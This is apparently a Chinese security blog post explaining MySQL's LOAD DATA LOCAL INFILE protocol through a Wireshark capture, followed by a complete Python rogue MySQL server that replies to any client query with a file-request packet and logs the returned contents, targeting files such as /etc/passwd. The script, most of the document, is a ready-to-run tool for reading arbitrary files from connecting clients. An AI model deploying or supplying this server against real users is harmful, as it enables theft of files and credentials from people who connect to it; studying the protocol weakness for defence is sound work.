LOAD DATA INFILE
mysql的LOAD DATA INFILE语句主要用于读取一个文件的内容并且存入一个表中。 通常有两种用法,分别是
LOAD DATA INFILE "/etc/passwd" into table test fields terminated by "\n"LOAD DATA LOCAL INFILE "/etc/passwd" into table test fields terminated by "\n情况一读取的是服务端的/etc/passwd,情况二则读取的是客户端的/etc/passwd。在读取完文件之后会把他存到Test表中,其间内容以\n为分割符分开,我们重点关注一下LOAD DATA LOCAL INFILE
其工作过程大致如下:
- 用户在客户端输入:load data local file “/data.txt” into table test;
- 客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
- 服务端->客户端:把你本地的/data.txt文件发给我;
- 客户端->服务端:/data.txt文件的内容;
LOAD DATA LOCAL INFILE 的操作结果如下
LOAD DATA INFILE 的 操作结果如下

抓包分析
登录部分
kali连windows上的mysql,同时开启wireshark进行抓包,第一个是服务器发给客户端的greeting包,用来告知客户端服务器的基本信息。

接下来是客户端发给服务端的登录请求包,里面包含了用户名密码之类的信息
服务端返回一个ok包,表明当前登录验证成功
然后是客户端初始化的一些查询,比如select database(); select @@version_comment;

LOAD DATA LOCAL INFILE 部分
接着来看LOAD DATA LOCAL INFILE 部分,客户端向服务端发起请求,其中包含执行语句

紧接着服务器返回了一个包含刚才所要LOAD DATA INFILE的文件名/etc/passwd的特殊格式数据包。
客户端收到文件名之后,向服务端发送了/etc/passwd里的内容

Exp
关键的节点显然在最后一步的Response TABULAR上。作为攻击者,我们无需在接收到LOAD DATA INFILE请求的时候才回复Response TABULAR,而是在任何一个Request Query后面都可以回复我们定制好的Response TABULAR,以此来实现任意文件读取
ps:还记得那个初始化查询不?利用起来
总结一下,伪造的Mysql服务端可以分为以下三个步骤:
- 向客户端发送Greeting数据包
- 客户端发送登录请求时,回复Response OK的数据包
- 客户端发送查询请求时,回复Response TABULAR数据包进行读文件
这里直接拿现成的了,感谢师傅们的智慧
#!/usr/bin/env python#coding: utf8
import socketimport asyncoreimport asynchatimport structimport randomimport loggingimport logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))log.addHandler( tmp_format)
filelist = ( #'/etc/passwd', 'F:/test.txt',)
#================================================#=======No need to change after this lines=======#================================================
__author__ = 'Gifts'
def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return
if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null)
class LastPacket(Exception): pass
class OutOfOrder(Exception): pass
class mysql_packet(object): packet_header = struct.Struct('<Hbb') packet_header_long = struct.Struct('<Hbbb') def __init__(self, packet_type, payload): if isinstance(packet_type, mysql_packet): self.packet_num = packet_type.packet_num + 1 else: self.packet_num = packet_type self.payload = payload
def __str__(self): payload_len = len(self.payload) if payload_len < 65536: header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num) else: header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format( header, self.payload ) return result
def __repr__(self): return repr(str(self))
@staticmethod def parse(raw_data): packet_num = ord(raw_data[0]) payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr): asynchat.async_chat.__init__(self, sock=addr[0]) self.addr = addr[1] self.ibuffer = [] self.set_terminator(3) self.state = 'LEN' self.sub_state = 'Auth' self.logined = False self.push( mysql_packet( 0, "".join(( '\x0a', # Protocol '5.6.28-0ubuntu0.14.04.1' + '\0', '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00', )) ) )
self.order = 1 self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data): log.debug('Pushed: %r', data) data = str(data) asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data): log.debug('Data recved: %r', data) self.ibuffer.append(data)
def found_terminator(self): data = "".join(self.ibuffer) self.ibuffer = []
if self.state == 'LEN': len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 if len_bytes < 65536: self.set_terminator(len_bytes) self.state = 'Data' else: self.state = 'MoreLength' elif self.state == 'MoreLength': if data[0] != '\0': self.push(None) self.close_when_done() else: self.state = 'Data' elif self.state == 'Data': packet = mysql_packet.parse(data) try: if self.order != packet.packet_num: raise OutOfOrder() else: # Fix ? self.order = packet.packet_num + 2 if packet.packet_num == 0: if packet.payload[0] == '\x03': log.info('Query')
filename = random.choice(filelist) PACKET = mysql_packet( packet, '\xFB{0}'.format(filename) ) self.set_terminator(3) self.state = 'LEN' self.sub_state = 'File' self.push(PACKET) elif packet.payload[0] == '\x1b': log.info('SelectDB') self.push(mysql_packet( packet, '\xfe\x00\x00\x02\x00' )) raise LastPacket() elif packet.payload[0] in '\x02': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() elif packet.payload == '\x00\x01': self.push(None) self.close_when_done() else: raise ValueError() else: if self.sub_state == 'File': log.info('-- result') log.info('Result: %r', data)
if len(data) == 1: self.push( mysql_packet(packet, '\0\0\0\x02\0\0\0') ) raise LastPacket() else: self.set_terminator(3) self.state = 'LEN' self.order = packet.packet_num + 1
elif self.sub_state == 'Auth': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() else: log.info('-- else') raise ValueError('Unknown packet') except LastPacket: log.info('Last packet') self.state = 'LEN' self.sub_state = None self.order = 0 self.set_terminator(3) except OutOfOrder: log.warning('Out of order') self.push(None) self.close_when_done() else: log.error('Unknown state') self.push('None') self.close_when_done()
class mysql_listener(asyncore.dispatcher): def __init__(self, sock=None): asyncore.dispatcher.__init__(self, sock)
if not sock: self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() try: self.bind(('', PORT)) except socket.error: exit()
self.listen(5)
def handle_accept(self): pair = self.accept()
if pair is not None: log.info('Conn from: %r', pair[1]) tmp = http_request_handler(pair)
z = mysql_listener()# daemonize()asyncore.loop()